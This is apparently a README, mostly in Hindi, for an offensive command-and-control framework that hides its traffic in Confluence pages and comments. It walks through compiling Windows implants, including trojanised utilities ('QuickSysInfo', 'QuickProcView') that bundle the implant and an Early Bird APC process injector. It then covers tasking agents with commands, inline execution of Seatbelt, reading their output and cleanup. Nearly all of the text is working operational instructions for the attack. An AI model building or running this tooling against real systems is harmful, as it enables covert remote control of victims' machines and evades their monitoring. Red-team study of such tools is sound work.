यह एक परियोजना है जिसका उद्देश्य हर अन्य SaaS उत्पाद को C2 बनाना है, Confluence तो बस शुरुआत है।
लेखक: Dhanush Arvind
Python 3.8+ और requests:
pip install requests
Confluence Cloud खाता जिसमें API टोकन हो (https://id.atlassian.com/manage-profile/security/api-tokens पर जनरेट करें), या Confluence Server क्रेडेंशियल्स
MinGW GCC इनमें से कोई एक:
x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64), याpython c2_operator.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
setup --space-key MYSPACE
आउटपुट से Page ID सहेजें — नीचे दी गई हर चीज़ के लिए आपको इसकी आवश्यकता होगी।
कस्टम शीर्षक का उपयोग करने के लिए:
python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"
अपने Confluence क्रेडेंशियल्स और पेज ID को कॉलर स्रोत में बेक करने के लिए configure.py चलाएँ:
python configure.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
--sleep 10000
| आर्ग्युमेंट | आवश्यक | विवरण |
|---|---|---|
--url | हाँ | Confluence बेस URL |
--email | हाँ | Confluence खाता ईमेल |
--api-token | हाँ | Confluence API टोकन |
--page-id | हाँ | चरण 1 से पेज ID |
--sleep | नहीं | बीकन अंतराल मिलीसेकंड में (डिफ़ॉल्ट: 10000) |
--output | नहीं | आउटपुट डायरेक्टरी (डिफ़ॉल्ट: build) |
--no-wiki-prefix | नहीं | /wiki प्रीफ़िक्स छोड़ें (Confluence Server के लिए) |
--compile | नहीं | यदि gcc PATH में है तो स्वतः कंपाइल करें |
PowerShell से:
# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32
# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi
# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32
# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c
# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi
# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi
/mnt/c/path/to/build को अपने प्रोजेक्ट की build डायरेक्टरी के वास्तविक WSL पथ से बदलें।
gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi
python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile
मैन्युअल संकलन के बाद, बाइनरीज़ को payloads/ में कॉपी करें:
copy build\*.exe payloads\
copy build\*.dll payloads\
payloads\caller.exe
payloads\QuickSysInfo.exe
दोनों फ़ाइलें एक ही निर्देशिका में होनी चाहिए:
cd payloads
earlybird_inject.exe
दोनों फ़ाइलें एक ही निर्देशिका में होनी चाहिए:
cd payloads
QuickProcView.exe
c2_operator.py)python c2_operator.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
list
c2_web.py)python c2_web.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
--port 8443
अपने ब्राउज़र में http://127.0.0.1:8443 खोलें।
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"
# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"
# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"
Console टैब खोलें। Page Body या Comment मोड चुनें। कमांड टाइप करें, लक्षित एजेंट चुनें, और Send पर क्लिक करें।
C2 पेज पर जाएँ और एक टिप्पणी पोस्ट करें:
[cmd] whoami
किसी विशिष्ट एजेंट को लक्षित करें:
[cmd:90bd7c8a] whoami
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a
# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read
# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"
# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"
# Via browser comment
[cmd] exit
# Target specific agent
[cmd:90bd7c8a] exit
python c2_operator.py ^
--url https://yourcompany.atlassian.net ^
--email [email protected] ^
--api-token YOUR_API_TOKEN ^
--page-id 12345678 ^
cleanup
या Web GUI के माध्यम से: Cleanup टैब खोलें और cleanup बटन पर क्लिक करें।